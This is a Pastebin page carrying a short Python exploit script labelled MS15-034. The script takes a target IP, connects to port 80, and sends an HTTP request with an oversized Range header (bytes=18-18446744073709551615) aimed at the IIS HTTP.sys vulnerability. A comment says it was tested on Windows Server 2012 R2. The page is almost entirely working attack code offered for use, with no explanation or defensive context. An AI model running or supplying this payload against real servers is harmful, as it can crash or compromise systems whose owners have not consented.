SHARE
TWEET

MS15-034

a guest Apr 15th, 2015 3,416 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Tested on Win Srv 2012R2.
  2. import socket,sys
  3.  
  4. if len(sys.argv)<=1:   
  5.  sys.exit('Give me an IP')
  6.  
  7. Host = sys.argv[1]
  8.  
  9. def SendPayload(Payload, Host):
  10.    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  11.    s.connect((Host, 80))
  12.    s.send(Payload)
  13.    s.recv(1024)
  14.    s.close()
  15.  
  16. #Make sure iisstart.htm exist.
  17. Init = "GET /iisstart.htm HTTP/1.0\r\n\r\n"
  18. Payload = "GET /iisstart.htm HTTP/1.1\r\nHost: blah\r\nRange: bytes=18-18446744073709551615\r\n\r\n"
  19.  
  20. SendPayload(Init, Host)
  21. SendPayload(Payload, Host)
RAW Paste Data
Top